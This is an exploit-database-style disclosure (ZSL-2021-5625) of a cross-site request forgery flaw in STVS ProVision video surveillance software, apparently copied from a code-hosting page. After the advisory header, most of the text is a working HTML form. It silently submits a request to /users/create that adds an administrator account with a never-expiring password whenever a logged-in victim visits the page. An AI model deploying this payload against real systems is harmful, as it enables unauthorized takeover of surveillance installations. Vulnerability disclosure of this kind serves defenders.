66 lines
No EOL
2.1 KiB
HTML
66 lines
No EOL
2.1 KiB
HTML
# Exploit Title: STVS ProVision 5.9.10 - Cross-Site Request Forgery (Add Admin)
|
|
# Date: 19.01.2021
|
|
# Exploit Author: LiquidWorm
|
|
# Vendor Homepage: http://www.stvs.ch
|
|
|
|
STVS ProVision 5.9.10 Cross-Site Request Forgery (Add Admin)
|
|
|
|
|
|
Vendor: STVS SA
|
|
Product web page: http://www.stvs.ch
|
|
Platform: Ruby
|
|
Affected version: 5.9.10 (build 2885-3a8219a)
|
|
5.9.9 (build 2882-7c3b787)
|
|
5.9.7 (build 2871-a450938)
|
|
5.9.1 (build 2771-1bbed11)
|
|
5.9.0 (build 2701-6123026)
|
|
5.8.6 (build 2557-84726f7)
|
|
5.7
|
|
5.6
|
|
5.5
|
|
|
|
Summary: STVS is a Swiss company specializing in development of
|
|
software for digital video recording for surveillance cameras
|
|
as well as the establishment of powerful and user-friendly IP
|
|
video surveillance networks.
|
|
|
|
Desc: The application interface allows users to perform certain
|
|
actions via HTTP requests without performing any validity checks
|
|
to verify the requests. This can be exploited to perform certain
|
|
actions with administrative privileges if a logged-in user visits
|
|
a malicious web site.
|
|
|
|
Tested on: Ubuntu 14.04.3
|
|
nginx/1.12.1
|
|
nginx/1.4.6
|
|
nginx/1.1.19
|
|
nginx/0.7.65
|
|
nginx/0.3.61
|
|
|
|
|
|
Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
|
|
@zeroscience
|
|
|
|
|
|
Advisory ID: ZSL-2021-5625
|
|
Advisory URL: https://www.zeroscience.mk/en/vulnerabilities/ZSL-2021-5625.php
|
|
|
|
19.01.2021
|
|
|
|
--
|
|
|
|
|
|
<html>
|
|
<body>
|
|
<form action="http://192.168.1.17/users/create" method="POST">
|
|
<input type="hidden" name="login" value="testingus" />
|
|
<input type="hidden" name="password" value="testingus" />
|
|
<input type="hidden" name="confirm_password" value="testingus" />
|
|
<input type="hidden" name="email" value="test@test.tld" />
|
|
<input type="hidden" name="role_id" value="1" />
|
|
<input type="hidden" name="never_expire" value="on" />
|
|
<input type="hidden" name="disabled_acc" value="false" />
|
|
<input type="submit" value="Forge request" />
|
|
</form>
|
|
</body>
|
|
</html> |